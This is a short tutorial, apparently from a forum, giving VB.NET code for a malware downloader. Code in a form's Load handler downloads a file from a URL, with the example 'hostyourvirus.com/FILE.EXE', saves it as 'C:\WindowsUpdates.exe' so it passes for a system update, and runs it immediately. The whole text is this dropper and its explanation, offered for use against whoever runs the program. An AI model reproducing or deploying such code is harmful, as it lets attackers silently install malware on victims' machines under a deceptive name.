Double click the form and under form1 load private sub type this:
        My.Computer.Network.DownloadFile("Url", "C:\WindowsUpdates.exe")
        Process.Start("C:\WindowsUpdates.exe")

Let me analyze a bit:
My.Computer.Network.DownloadFile("Url", "C:\WindowsUpdates.exe")
So, Url = direct link of your file (ex: hostyourvirus.com/FILE.EXE)

"C:\WindowsUpdates.exe" = the name ur file is gonna get named when it gets downloaded


Thanks for reading,